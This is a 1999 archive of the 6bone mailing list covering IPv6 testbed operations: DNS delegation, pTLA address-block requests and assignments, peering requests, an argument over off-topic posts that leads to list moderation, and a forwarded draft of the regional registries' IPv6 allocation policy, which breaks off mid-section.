Date: Fri, 14 May 1999 04:59:39 -0700 (PDT)
Cc: 6bone@ISI.EDU
In-Reply-To: <006b01be9ce2$dc1cced0$1000e818@fibertel.com.ar> from "Patricio Latini" at May 12, 1999 10:49:37 PM
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 I'll need the IPv4 address of ipv6.fibertel.com.ar.  and you'll
need a second server.  I can offer our server here for this purpose.
If you agree, then I'll code the following entry:

;  Patricio S. Latini platini@fibertel.com.ar 14 may 1999
8.3.e.f.f.3.ip6.int.	in	ns	ipv6.fibertel.com.ar.
			in	ns	ns.isi.edu.
;



> 
> This is a multi-part message in MIME format.
> 
> ------=_NextPart_000_0068_01BE9CC9.B65CFEE0
> Content-Type: text/plain;
> 	charset="iso-8859-1"
> Content-Transfer-Encoding: quoted-printable
> 
> Hello 6bone People:
>                               Due to the grow of this project in my =
> company i installed a new DNS server for the domain =
> ipv6.fibertel.com.ar.
> This server supports AAAA records and you can reach using it the =
> www.ipv6.fibertel.com.ar WWW server 3ffe:3800:1::2 and my ipv6 router =
> cisco.ipv6.fibertel.com.ar (3ffe.3800:1::1).
> you can also reach my ipv4 running version of the www server at =
> www-ipv4.ipv6.fibertel.com.ar.
> 
> i would like to hear toy comments about if it is working from all the =
> 6bone.
> 
> Thanks
> 
> Patricio Latini
> IPv6 Project Manager
> Fibertel TCI2
> Argentina
> 
> ------=_NextPart_000_0068_01BE9CC9.B65CFEE0
> Content-Type: text/html;
> 	charset="iso-8859-1"
> Content-Transfer-Encoding: quoted-printable
> 
> <!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
> <HTML><HEAD>
> <META content=3Dtext/html;charset=3Diso-8859-1 =
> http-equiv=3DContent-Type>
> <STYLE></STYLE>
> 
> <META content=3D'"MSHTML 5.00.0910.1309"' name=3DGENERATOR></HEAD>
> <BODY bgColor=3D#ffffff>
> <DIV><FONT size=3D2>Hello 6bone People:</FONT></DIV>
> <DIV><FONT size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; =
> &nbsp;&nbsp;&nbsp;=20
> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;=20
> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Due to the grow of this project in my =
> company i=20
> installed a new DNS server for the domain =
> ipv6.fibertel.com.ar.</FONT></DIV>
> <DIV><FONT size=3D2>This server supports AAAA records and you can reach =
> using it=20
> the <A =
> href=3D"http://www.ipv6.fibertel.com.ar">www.ipv6.fibertel.com.ar</A> =
> WWW=20
> server 3ffe:3800:1::2 and my ipv6 router cisco.ipv6.fibertel.com.ar=20
> (3ffe.3800:1::1).</FONT></DIV>
> <DIV><FONT size=3D2>you can also reach my ipv4 running version of the =
> www server=20
> at www-ipv4.ipv6.fibertel.com.ar.</FONT></DIV>
> <DIV>&nbsp;</DIV>
> <DIV><FONT size=3D2>i would like to hear toy comments about if it is =
> working from=20
> all the 6bone.</FONT></DIV>
> <DIV>&nbsp;</DIV>
> <DIV><FONT size=3D2>Thanks</FONT></DIV>
> <DIV>&nbsp;</DIV>
> <DIV><FONT size=3D2>Patricio Latini</FONT></DIV>
> <DIV><FONT size=3D2>IPv6 Project Manager</FONT></DIV>
> <DIV><FONT size=3D2>Fibertel TCI2</FONT></DIV>
> <DIV><FONT size=3D2>Argentina</FONT></DIV></BODY></HTML>
> 
> ------=_NextPart_000_0068_01BE9CC9.B65CFEE0--
> 
> 


-- 
--bill

From 6bone-owner  Fri May 14 07:53:18 1999
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Date: Fri, 14 May 1999 09:52:37 -0500 (CDT)
From: Patrick Cantwell <seamus@insomnia.org>
To: Jeff Williams <jwkckid1@ix.netcom.com>
cc: Peter Dawson <peterdd@gto.net.om>, 6bone@ISI.EDU
Subject: Re: Sigh, Pete Dawson was:Re: sigh, re Jeff Williams
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I've been "lurking" on the 6bone list for a while now, trying to soak up
as much about 6bone as I can, so I can begin experimenting with IPv6...
I think the best possible solution to the problem of people posting
off-topic to the list would be to have someone moderate... All lists, no
matter what topic, degrade to this after time if they are not moderated...
It's a shame that intelligent, technology-oriented people have to
personally attack each other on a TECHNOLOGY list.. but that's how people
are.

Pat

--
Patrick Cantwell
President/Systems Administrator, Insomnia Communications
pat@insomnia.org
TheFloyd @ irc
4668163 @ icq



From 6bone-owner  Fri May 14 08:02:40 1999
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Message-ID: <01BE9DF9.5659DD20.hansolofalcon@worldnet.att.net>
From: Gregg C Levine <hansolofalcon@worldnet.att.net>
To: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: Fuel for further off topic postings
Date: Fri, 14 May 1999 11:02:56 -0400
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------ =_NextPart_000_01BE9DF9.57095700
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Hello from Gregg Levine usually at Jedi Knight Computers
While I usually do not post immflamatory postings, and since everyone just 
got their noses rapped on, I will stretch my credibilty by mentioning this 
factoid:
Around four years ago, AOL had a massive failure in their electronic mail 
servers, and it took them 14 days to find the problem. It also took them 14 
days to repair the problem. As these were the Internet servers for that 
kind of mail, I feel that the responsibilty of Mindspring/Netcom to solve 
this problem, in the time frame quoted is very proper. And that all of this 
complaining is just plain wrong. This is the absolute last blerb on the 
subject. Let us return to the medium that this mailing list was created 
for.
Gregg C Levine mailto:hansolofalcon@worldnet.att.net
This signature supports the Alliance to restore the Republic
"They were in the wrong place at the wrong time. Naturally they became 
heroes"
Princess Leia Organa of Alderaan, Senator
"Remember, the Force will be with you. Always."
General Obi-Wan Kenobi Jedi Knight, Retired

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RgAAAAAYhQAAAAAAAB4AQYAIIAYAAAAAAMAAAAAAAABGAAAAADaFAAABAAAAAQAAAAAAAAAeAEKA
CCAGAAAAAADAAAAAAAAARgAAAAA3hQAAAQAAAAEAAAAAAAAAHgBDgAggBgAAAAAAwAAAAAAAAEYA
AAAAOIUAAAEAAAABAAAAAAAAAB4APQABAAAAAQAAAAAAAAADAA00/TcAADro

------ =_NextPart_000_01BE9DF9.57095700--


From 6bone-owner  Fri May 14 10:26:38 1999
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Message-ID: <373BEF17.1DD14E66@ix.netcom.com>
Date: Fri, 14 May 1999 10:38:34 +0100
From: Jeff Williams <jwkckid1@ix.netcom.com>
Organization: INEG. Inc.
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To: Peter Dawson <peterdd@gto.net.om>
CC: "Jason T. Nelson" <jtn@eboai.org>, 6bone@ISI.EDU, bmanning@ISI.EDU
Subject: Re: sigh, re Jeff Williams
References: <19990513201725.A26164@hindenburg.eboai.org> <373B41D9.C0174B50@ix.netcom.com> <373BC580.85AB6A3C@gto.net.om>
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Peter and all,

  Thank you for your suggestion.  However I already KNOW why some
addresses on cc's were bouncing.  Netcom had nothing to do with the
problem.  I believe I stated them clearly on Wednesday and again on
thursday
as well.  They are as follows:

1.) www.nic.ar showed in the whois results the domain, fibertel.com.ar
on
Wednesday was NOT available.   This was in my cc list for relevant posts
as well
as other DN's that Patricio Latini posted on those relevant threads.

2.)  I also pointed out to Peter Tattem that his URL,
HTTP://jazz-1.trumpet.com.au/ipv6-draft/dtcp-draft-prt-13-may-1999.htm
was not resolving because trumpet.com.au at ARIN's whois was showing
did not exist.  This URL still does not resolve at this moment.  Peter
Tattem
incorrectly stated that I was pointing to Netcom's DNS.  I corrected him

informing him that I was not pointing to Netcom's DNS servers.  Hence
his DN is partly of completely lame, or he has a routing problem.  Hence

my E-Mail bounced on his DN.

  I hope that this helps to clarify things a bit for you.  I realize
that following
the relevant threads is sometime confusing.  But it is really advisible
that you do your homework before making statements on a public list
such as this.  However anyone can make a mistake, so don't feel bad...

Peter Dawson wrote:

> Jeff,
>
> I think that your ISP provider (netcom.com)  is having some
> problems... just followup on with your upstream
> provider to see , why you can't resolve the issues
> and the resons on your email bouncing before posting
> to the list, please.
>
> Thank you
>
> /pete
> -------------------------
> Netcom E-mail Outage
>
>      As many of you know, Netcom experienced an e-mail file
> server failure.
>      Below is an explanation and response from MindSpring CEO,
> Charles
>      Brewer.
>
>      Update - Thursday, May 13. We are still working on fixing
> the problem.
>      Thank you for your continued patience.
>
> ------------------
> Jeff Williams wrote:
>
> > Jason and all,
> >
> >  Jason, you have no idea what you are talking about .  List
> > manager,
> > is this sort of personal unprovoked attack allowed on this
> > list?
> >
> > Jason T. Nelson wrote:
> >
> > > Jeff Williams is a known loonie and possible troll on the
> > inet-access list
> > > (thank goodness he seems to have either stopped tormenting us
> > or the list
> > > manager finally booted him off).
> > >
> > > I'm sorry to have to introduce this badly off-topic posting,
> > but he's
> > > starting to drag the list down with non-operational issues
> > and I felt
> > > everyone here should know.
> > >
> > > --
> > > Jason T. Nelson <jtn@eboai.org>
> > > BOFH Extraordiaire
> > > http://www.eboai.org/~jtn/
> > > disclaimer: My opinions are my own. Don't bother my employer
> > about them.
> >
> > Regards,
> >
> > --
> > Jeffrey A. Williams
> > CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
> > Information Network Eng. Group. INEG. INC.
> > E-Mail jwkckid1@ix.netcom.com
> > Contact Number:  972-447-1894
> > Address: 5 East Kirkwood Blvd. Grapevine Texas 75208

Regards,

--
Jeffrey A. Williams
CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
Information Network Eng. Group. INEG. INC.
E-Mail jwkckid1@ix.netcom.com
Contact Number:  972-447-1894
Address: 5 East Kirkwood Blvd. Grapevine Texas 75208



From 6bone-owner  Fri May 14 10:40:28 1999
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <199905141740.KAA23181@boreas.isi.edu>
Subject: moderation is the order of the day
To: 6bone@ISI.EDU
Date: Fri, 14 May 1999 10:40:23 -0700 (PDT)
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Hi,
	Since we have not had the foresight to constrain postings on this
	list to 6bone & IPv6 issues and have degenerated into assertions
	of who's ISP does what to whom and why the 6bone does not meet
	some peoples views on what is operationally correct (this is
	a testbed fur crying out loud!)

	I am envoking list admin privledge and will begin list moderation.
	

-- bill

From 6bone-owner  Wed May 19 22:48:31 1999
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To: 6bone@ISI.EDU
Subject: pTLA request from IIJ
From: Kazu Yamamoto (=?iso-2022-jp?B?GyRCOzNLXE9CSScbKEI=?=)
 <kazu@iijlab.net>
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IIJ(http://www.iij.ad.jp) would like to request one pTLA block. 

Conformance to RFC 2546 is as follows;

   1. The site MUST have experience with IPv6 on the 6Bone, at least as
      a leaf site and preferably as a transit pNLA under an existing
      pTLA.

IIJ is a transit pNLA of the WIDE pTLA.

   2. The site MUST have the ability and intent to provide "production-
      like" 6Bone backbone service to provide a robust and operationally
      reliable 6Bone backbone.

IIJ is now providing robust connectivity services to seven IPv6 sites.

   3. The site MUST have a potential "user community" that would be
      served by becoming a pTLA, e.g., the requester is a major player
      in a region, country or focus of interest.

IIJ is one of the biggest IPv4 ISPs in Japan. And already connects
seven IPv6 sites.

   4. Must commit to abide by the 6Bone backbone operational rules and
      policies as defined in the present document.

IIJ certainly commits. Note that some of IIJ guys are actually
the operators of WIDE IPv6 backbone.

--Itojun & Kazu, IIJ

From 6bone-owner  Wed May 19 23:38:59 1999
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Date: Wed, 19 May 1999 23:38:34 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Application for pTLA from ICM-PL - review will close 4 June
Cc: Kazu Yamamoto (=?iso-2022-jp?B?GyRCOzNLXE9CSScbKEI=?=) <kazu@iijlab.net>|
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Per the request from Kazu Yamamoto (below), I'm opening a two week window for the review of a pTLA for IIJ. I will close this on 4 June 99. Note that this will be a /28 pTLA assignment.

Thanks,
Bob
====
>To: 6bone@ISI.EDU
>Subject: pTLA request from IIJ
>From: Kazu Yamamoto (=?iso-2022-jp?B?GyRCOzNLXE9CSScbKEI=?=)
> <kazu@iijlab.net>|
>Date: Thu, 20 May 1999 14:48:11 +0900
>
>IIJ(http://www.iij.ad.jp) would like to request one pTLA block. 
>
>Conformance to RFC 2546 is as follows;
>
>   1. The site MUST have experience with IPv6 on the 6Bone, at least as
>      a leaf site and preferably as a transit pNLA under an existing
>      pTLA.
>
>IIJ is a transit pNLA of the WIDE pTLA.
>
>   2. The site MUST have the ability and intent to provide "production-
>      like" 6Bone backbone service to provide a robust and operationally
>      reliable 6Bone backbone.
>
>IIJ is now providing robust connectivity services to seven IPv6 sites.
>
>   3. The site MUST have a potential "user community" that would be
>      served by becoming a pTLA, e.g., the requester is a major player
>      in a region, country or focus of interest.
>
>IIJ is one of the biggest IPv4 ISPs in Japan. And already connects
>seven IPv6 sites.
>
>   4. Must commit to abide by the 6Bone backbone operational rules and
>      policies as defined in the present document.
>
>IIJ certainly commits. Note that some of IIJ guys are actually
>the operators of WIDE IPv6 backbone.
>
>--Itojun & Kazu, IIJ



From 6bone-owner  Thu May 20 06:57:58 1999
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Subject: Re: Application for pTLA from ICM-PL - review will close 4 June
To: fink@es.net (Bob Fink)
Date: Thu, 20 May 1999 06:57:52 -0700 (PDT)
Cc: 6bone@ISI.EDU (6BONE List)
In-Reply-To: <4.1.19990519233421.00b1f950@imap2.es.net> from "Bob Fink" at May 19, 1999 11:38:34 PM
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I think this is a reasonable request and should be approved.


> 
> Per the request from Kazu Yamamoto (below), I'm opening a two week window for the review of a pTLA for IIJ. I will close this on 4 June 99. Note that this will be a /28 pTLA assignment.
> 
> Thanks,
> Bob
> ====
> >To: 6bone@ISI.EDU
> >Subject: pTLA request from IIJ
> >From: Kazu Yamamoto (=?iso-2022-jp?B?GyRCOzNLXE9CSScbKEI=?=)
> > <kazu@iijlab.net>|
> >Date: Thu, 20 May 1999 14:48:11 +0900
> >
> >IIJ(http://www.iij.ad.jp) would like to request one pTLA block. 
> >
> >Conformance to RFC 2546 is as follows;
> >
> >   1. The site MUST have experience with IPv6 on the 6Bone, at least as
> >      a leaf site and preferably as a transit pNLA under an existing
> >      pTLA.
> >
> >IIJ is a transit pNLA of the WIDE pTLA.
> >
> >   2. The site MUST have the ability and intent to provide "production-
> >      like" 6Bone backbone service to provide a robust and operationally
> >      reliable 6Bone backbone.
> >
> >IIJ is now providing robust connectivity services to seven IPv6 sites.
> >
> >   3. The site MUST have a potential "user community" that would be
> >      served by becoming a pTLA, e.g., the requester is a major player
> >      in a region, country or focus of interest.
> >
> >IIJ is one of the biggest IPv4 ISPs in Japan. And already connects
> >seven IPv6 sites.
> >
> >   4. Must commit to abide by the 6Bone backbone operational rules and
> >      policies as defined in the present document.
> >
> >IIJ certainly commits. Note that some of IIJ guys are actually
> >the operators of WIDE IPv6 backbone.
> >
> >--Itojun & Kazu, IIJ
> 
> 
> 


-- 
--bill

From 6bone-owner  Fri May 21 04:11:01 1999
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	for 6bone; Fri, 21 May 1999 04:10:54 -0700 (PDT)
From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <199905211110.EAA29403@boreas.isi.edu>
Subject: BOUNCE 6bone@zephyr.isi.edu: Message too long (>40000) (fwd)
To: 6bone@ISI.EDU
Date: Fri, 21 May 1999 04:10:54 -0700 (PDT)
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> 
> This is a multi-part message in MIME format.
> --------------932A34D6E25E10D9739ADD55
> Content-Type: text/plain; charset=EUC-KR
> Content-Transfer-Encoding: 7bit
> 
> Dear Members:
> 
> My job is to design a 6Bone based on KOREN(KOrea
> Research and Education Network).
> I saw a presentation(attached in this E-mail) from telebit
> company. At page 8, there is a expression like that:
> 
> AGGRESSIVE : IETF Will Not Support IPv4 beyond 2002
> 
> Is it really true that IETF will support only IPv6 from
> 2003?
> This is a important matter to decide the future plan of data
> networks for my company.  Please send me a E-mail if
> you have the answer.
> 
> Sincerely,
> Sahng-Beom Kim
> 
> --
>   Kim, Sahng-Beom / Korea Telecom
>   TEL :    +82-42-870-8322
>   FAX :    +82-42-870-8329
>   E-mail :  ksbn@kt.co.kr
> --
> 
> 
> --------------932A34D6E25E10D9739ADD55
> Content-Type: application/ppt;
>  name="6REN-IPv6.ppt"
> Content-Transfer-Encoding: base64
> Content-Disposition: inline;
>  filename="6REN-IPv6.ppt"
> 

( attached ppt file excised )

-- 
"When in doubt, Twirl..."  -anon

From 6bone-owner  Fri May 21 08:05:50 1999
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From: "Latif LADID ( latif.ladid@tbit.dk)" <Latif.LADID@village.uunet.lu>
Reply-To: "latif.ladid@tbit.dk" <latif.ladid@tbit.dk>
To: "6bone@ISI.EDU" <6bone@ISI.EDU>, "'Bill Manning'" <bmanning@ISI.EDU>
Subject: RE: BOUNCE 6bone@zephyr.isi.edu: Message too long (>40000) (fwd)
Date: Fri, 21 May 1999 16:59:34 +0200
Organization: Telebit Communications A/S
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I have already responded to this email.

/Latif

----------
From: 	Bill Manning[SMTP:bmanning@ISI.EDU]
Sent: 	Friday, May 21, 1999 01:10
To: 	6bone@ISI.EDU
Subject: 	BOUNCE 6bone@zephyr.isi.edu: Message too long (>40000) (fwd)

> 
> This is a multi-part message in MIME format.
> --------------932A34D6E25E10D9739ADD55
> Content-Type: text/plain; charset=EUC-KR
> Content-Transfer-Encoding: 7bit
> 
> Dear Members:
> 
> My job is to design a 6Bone based on KOREN(KOrea
> Research and Education Network).
> I saw a presentation(attached in this E-mail) from telebit
> company. At page 8, there is a expression like that:
> 
> AGGRESSIVE : IETF Will Not Support IPv4 beyond 2002
> 
> Is it really true that IETF will support only IPv6 from
> 2003?
> This is a important matter to decide the future plan of data
> networks for my company.  Please send me a E-mail if
> you have the answer.
> 
> Sincerely,
> Sahng-Beom Kim
> 
> --
>   Kim, Sahng-Beom / Korea Telecom
>   TEL :    +82-42-870-8322
>   FAX :    +82-42-870-8329
>   E-mail :  ksbn@kt.co.kr
> --
> 
> 
> --------------932A34D6E25E10D9739ADD55
> Content-Type: application/ppt;
>  name="6REN-IPv6.ppt"
> Content-Transfer-Encoding: base64
> Content-Disposition: inline;
>  filename="6REN-IPv6.ppt"
> 

( attached ppt file excised )

-- 
"When in doubt, Twirl..."  -anon


From 6bone-owner  Mon May 24 15:26:22 1999
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Date: Mon, 24 May 1999 15:26:11 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: new pTLAs for TRUMPET/AU and ICM-PL/PL
Cc: Bill Manning <bmanning@ISI.EDU>
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I would like to announce the assignment of two pTLAs based on review comments.

Please note that these are the first two 28-bit pTLAs.

---
TRUMPET/AU - Trumpet Software International Pty Ltd is an Internet shareware developer (e.g., WinSock and FireSock), as well as a Tasmanian ISP located in Hobart the capital city of Tasmania, Australia:

	inet6num: 3FFE:8000::/28 
	netname: TRUMPET

	<http://www.ip.qwest.net/~david/cgi-bin/whois?trumpet> 


---
ICM-PL - Interdisciplinary Centre for Mathematical and Computational Modelling at Warsaw University, Poland, an Internet hub site for Poland with very good international connectivity:

	inet6num: 3FFE:8010::/28 
	netname: ICM-PL

	<http://www.ip.qwest.net/~david/cgi-bin/whois?icm-pl>


---

Welcome both networks to the 6bone backbone!

Bob 


From 6bone-owner  Wed May 26 18:34:30 1999
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To: 6bone@ISI.EDU
Subject: Peering
From: Magnus Ahltorp <map@stacken.kth.se>
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Date: 27 May 1999 03:34:12 +0200
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Our site (STACKEN) peers with SICS and ATT-LABS-EUROPE. We speak BGP4+
to SICS and we wish to peer with someone else that can speak BGP4+. I
have tried to contact ATT-LABS-EUROPE to ask them to turn BGP4+ on,
but I have failed to reach them.

Would someone else be interested in peering with us? We wish to do
some testing in the multihoming area, and therefore we need access to
two different "providers". We must be able to speak BGP4+ to you, in
order to make routing decisions.

You must be able to hand out a /48 to us.

Magnus Ahltorp
Stacken Computer Club
Royal Institute of Technology
Stockholm, Sweden

From 6bone-owner  Wed May 26 18:55:46 1999
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Date: Wed, 26 May 1999 18:54:30 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Application for pTLA from Dante/Terena/Quantum - review will
  close 8 June 
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6bone Folk,

Per the request from Simon Nybroe (below), I'm opening a two week window for the review of a pTLA for QTP. I will close this on 8 June 99 (a little shy of 2 weeks given my scheduled departure for Vacation). 

I believe this is a very important step for v6 as it represents pan-European network connectivity via IPv6 with connections to 6REN participants via the 6TAP.

Note that this will be a /28 pTLA assignment.

Thanks, 

Bob 

====
>Date: Wed, 26 May 1999 20:08:59 +0200
>From: Simon Nybroe <sin@tbit.dk>
>To: Bob Fink <fink@es.net>
>Subject: pTLA Request
>
>Hi,
>
>We (The ipv6 testing group under the QTP) are working on plans of
>connecting the European National Research Networks in a native IPv6 backbone.
>We plan to use a 
>setup very much similar to the one used for the 6TAP. The entire project
>are to be run as an long running test under the Quantum Test Project (QTP):
>
>        <http://www.dante.net/quantum/qtp/>
>
>As the plans are right now, limited bandwidth PVCs (in the range
>0.5-2mbps) will be allocate in the TEN-155 backbone and Telebit will
>provide a IPv6 capable router as an open-ended loan.
>
>Currently we have 12 participants, many already with 6bone experience
>and the plan is to get the infrastructure established as soon as
>possible. 
>
>Future experiments will include both IPv6 end-to-end as well as more
>experiments with v6 peering. For details on what we plan to do, please
>see <http://www.tbit.dk/quantum/ip6.html>. The pages in no way done, but
>they do reflect what we plan to do.
>
>The v6 peering experiments plans will require the use of a new pTLA and
>we will therefore like to request one.
>
>I understand that the current guidelines for obtaining a pTLA are the
>ones listed in RFC2546 Chapter 7. Many of the participants already holds
>pTLAs and operate under the exact same guidelines, and I can assure you
>that we have no plans to do otherwise in the context of the QTPv6 Group. 
>
>--
>Simon Nybroe                          System Developer, M. Sc.
>Telebit Communications A/S            tel: +45 87 38 22 58
>Fabrikvej 11                          fax: +45 86 28 81 86
>DK-8260 Viby J                        e-mail: sin@tbit.dk
-end


From 6bone-owner  Fri May 28 09:19:59 1999
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Subject: v6 message to IANA (fwd)
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This was sent to the ARIN members list. I've sent some comments
back to Kim which I'll forward to the list in a moment.

> 
> The following message was sent to the IANA on behalf of the Regional 
> Internet Registries.  Once we receive approval from IANA on the v6
> policy guidelines, below, we'll be ready to begin making allocations.
> 
> Kim
> 
> 
> 
> Joint Regional Internet Registry email to IANA
> 
> To: the Internet Assigned Numbers Authority
> 
> Subject: Initial IPv6 allocations
> 
> As you will be aware, APNIC, ARIN, and the RIPE NCC have for many months
> been working closely with their respective memberships and the IPv6
> community to produce a document setting out the policies and guidelines
> required for supporting responsible management of IPv6 address space. We
> now believe that the attached "Provisional IPv6 Assignment and Allocation
> Policy Document" is sufficiently advanced to allow the initial "bootstrap"
> phase of allocations to begin.
> 
> There is growing anticipation within the IPv6 community and the Internet
> community in general that IPv6 operations be established as soon as
> possible.  We therefore propose to commence allocating sub-TLAs following
> the general scheme described in the Internet Draft "Initial IPv6 Sub-TLA
> Assignments" <draft-ietf-ipngwg-iana-tla-o1.txt> and the more specific
> policies and guidelines set out in the attached policy document.  Although
> the document will be further developed and refined in the coming months -
> according to the input and experience gained during the initial period -
> the general community support for this document is strong enough to
> justify its implementation in its current form.
> 
> Accordingly, the Regional Internet Registries seek IANA's formal
> delegation of the address ranges specified in the Internet Draft and the
> approval to commence IPv6 allocations on the basis set out in this email.
> 
> On behalf and with the authority of:
> 
> Paul Wilson, Director-General             APNIC
> Kim Hubbard, President                     ARIN
> Daniel Karrenberg, General Manager     RIPE NCC
>  
> 
> 
> PROVISIONAL IPv6 ASSIGNMENT AND ALLOCATION POLICY DOCUMENT
> 
> (28 May 1999)
> 
> Scheduled revision: Formal revision of this document is scheduled to be
> commenced by 1 October 1999.
> 
> TABLE OF CONTENTS
> 
> Abstract
> 
> 1. Scope
> 
> 2. IPv6 Address Space and the Internet Registry System
> 
> 2.1 The Internet Registry System Hierarchy
> 
> 2.2 Goals of the Internet Registry System
> 
> 3. IPv6 Technical Framework
> 
> 3.1 IPv6 Addressing Hierarchy
> 
> 3.2 Initial IPv6 Addressing Hierarchy
> 
> 4. Addressing Policies
> 
> 4.1 IPv6 Addresses Not to be Considered Property
> 
> 4.2 Allocations
> 
> 4.3 Assignments
> 
> 4.4 Reclamation Methods/Conditions
> 
> 5. Organizations Operating in More than One Region
> 
> 6. DNS and Reverse Address Mapping
> 
> 7. Glossary
> 
> 8. List of References
> 
> ABSTRACT
> 
> This document describes the registry system for distributing globally
> unique unicast IPv6 address space. IPv6 address space is distributed in a
> hierarchical manner (as is IPv4 address space), managed by the IANA and
> further delegated by the Regional Internet Registries (Regional IRs) as
> described in RFC 1881. In the case of IPv6, the Regional IRs allocate
> Top-Level Aggregation Identifiers (TLAs) to organizations, which, as TLA
> Registries, in turn allocate or assign address space to other Internet
> Service Providers (ISPs) and end users. ISPs then serve as Next Level
> Aggregation (NLA) Registries for their customers.
> 
> This document describes the responsibilities, policies, and procedures
> associated with IPv6 address space management, to be followed by all
> organizations within the allocation hierarchy. The intention of this
> document is to provide a framework for clear understanding and consistent
> application of those responsibilities, policies, and procedures throughout
> all layers of the hierarchy.
> 
> 1. SCOPE
> 
> This document first describes the global Internet Registry system for the
> distribution of IPv6 address space (as defined in RFC 2374) and the
> management of that address space. It then describes the policies and
> guidelines governing the distribution of IPv6 address space. The policies
> set forth in this document should be considered binding on all
> organizations that receive allocations or assignments of IPv6 address space
> either directly or indirectly from a Regional IR.
> 
> This document describes the primary operational policies and guidelines in
> use by all Regional IRs. Regional IRs may implement supplementary policies
> and guidelines to meet the specific needs of the Internet communities
> within their regions.
> 
> These policies and guidelines are subject to change based upon the
> development of operational experience and technological innovations, which
> together emerge as Internet best practice.
> 
> The structure of this document is as follows:
> 
> Section 2, "IPv6 Address Space and the Internet Registry System", describes
> the hierarchical structure of responsible organizations within the Internet
> Registry system and the explicit goals that determine the framework of
> policies for allocation and assignment of IPv6 address space.
> 
> Section 3, "IPv6 Technical Framework", explains the IPv6 addressing format
> and describes the differences between TLA, NLA, and SLA blocks.
> 
> Section 4, "Addressing Policies", describes the requirements for applying
> for a TLA allocation and the policies that apply to such allocations. It
> discusses how TLA registries can allocate space to other ISPs (NLA blocks)
> and assign address space to end-users (SLAs).
> 
> Section 5, "Organizations Operating in More than One Region", describes the
> requirements for organizations operating in more than one IR region
> requesting address space.
> 
> Section 6, "DNS and Reverse Address Mapping", describes the role of the
> Regional IRs in providing reverse delegation and explains how the Regional
> IRs can manage subsidiary reverse delegation of allocated/assigned address
> space.
> 
> Section 7, "Glossary", provides a listing of terms used in this document
> along with their definitions.
> 
> Section 8, "List of References", provides a list of documents referenced in
> this document.
> 
> 2 IPv6 ADDRESS SPACE AND THE INTERNET REGISTRY SYSTEM
> 
> IPv6 unicast addresses are aggregatable with contiguous bit-wise masks used
> to define routable prefixes, using a method similar to that used for IPv4
> addresses under CIDR. With IPv6, scarcity of address space is assumed to no
> longer exist for the end-user. However, inefficient assignments of address
> space and rapid expansion of routing tables remain as serious potential
> impediments to the scalability of the Internet. The Internet Registry
> system exists to ensure that IPv6 address space is managed in a globally
> consistent, fair, and responsible manner that minimizes wastage, and
> maximizes aggregation within the routing structure.
> 
> 2.1 The Internet Registry System Hierarchy
> 
> The hierarchical Internet Registry system exists to enable the goals
> described in this document to be met. In the case of IPv6, this hierarchy
> consists of the following levels, as seen from the top down: IANA, Regional
> Internet Registries, TLA, NLA Registries, and end-sites.
> 
> 2.1.1 IANA
> 
> The Internet Assigned Numbers Authority (IANA) has authority over all IP
> number spaces used in the Internet, including IPv6 address space. IANA
> allocates parts of the IPv6 address space to Regional Internet Registries
> (Regional IRs) according to their established needs.
> 
> 2.1.2 Regional Internet Registries
> 
> Regional IRs operate in large geographical regions such as continents.
> Currently, three Regional IRs exist: ARIN serving North and South America,
> the Caribbean, and sub-Saharan Africa; RIPE NCC serving Europe, the Middle
> East, and parts of Africa; and APNIC serving the Asia Pacific region. These
> Regional IRs also serve areas beyond their core service areas to ensure
> that all parts of the globe are covered. Additional Regional IRs may be
> established in the future, although their number will remain relatively
> low. Service areas will be of continental dimensions.
> 
> Regional IRs are established under the authority of the IANA. This requires
> consensus within the Internet community and among the ISPs of the
> respective region.
> 
> 2.1.3 TLA Registries
> 
> TLA Registries are established under the authority of the appropriate
> Regional IR to enable "custodianship" of a TLA or sub-TLA block of IPv6
> addresses. TLA Registries perform roles and bear responsibilities which are
> analogous and consistent with those of the Regional IR within their
> designated network services and infrastructures.
> 
> 2.1.4 NLA Registries
> 
> [to be written]
> 
> 2.1.5 End-sites [to be written]
> 
> 2.2 Goals of the Internet Registry System
> 
> The goals described in this section have been formulated by the Internet
> community with specific reference to IPv6 address space. They reflect the
> mutual interest of all members of that community in ensuring that the
> Internet is able to function and grow to the maximum extent possible. It is
> the responsibility of every IR to ensure that all assignments and
> allocations of IPv6 address space are consistent with these goals.
> 
> These goals will occasionally be in conflict with the interests of
> individual ISPs or end-users. Therefore, IRs evaluating requests for
> allocations and assignments must carefully analyze all relevant
> considerations and must seek to balance the needs of individual applicants
> with the needs of the Internet community as a whole. The policies and
> guidelines described in this document are intended to help IRs balance
> these needs in consistent and equitable ways. Full documentation of, and
> transparency within, the decision making process must also be maintained in
> order to achieve this result.
> 
> 2.2.1 Uniqueness
> 
> Each IPv6 unicast address must be globally unique. This is an absolute
> requirement for guaranteeing that every host on the Internet can be
> uniquely identified.
> 
> 2.2.2 Aggregation
> 
> IPv6 addresses must be distributed in a hierarchical manner, permitting the
> aggregation of routing information and limiting the number of routing
> entries advertised into the Internet. This is necessary to ensure proper
> operation of Internet routing and to maximize the routing system's ability
> to meet the demands of both likely and unforeseeable future increases in
> both size and topological complexity. In IPv6, aggregation of external
> routes is the primary goal.
> 
> This goal is motivated by the problems which arose in IPv4 network
> addressing. IPv4 address allocations have not been sufficiently
> hierarchical to ensure efficient routing across the Internet. Inefficient
> use of classful allocations led to an excess of routing entries appearing
> in the default-free routing table. Furthermore, increased complexity of
> network topologies led to IPv4 prefixes being announced many times via
> different routes.
> 
> Responsible policies and guidelines must limit the number of top level
> prefixes that are announced on the Internet so as to ensure that the
> problems of IPv4 are not repeated in IPv6. Such policies and guidelines
> will always reflect the constraints of current router technology and will
> be subject to reevaluation as that technology advances. Furthermore, such
> policies and guidelines will be reviewed according to a model consistent
> with that provided in RFC 2374 and RFC 2450. Under this model, a threshold
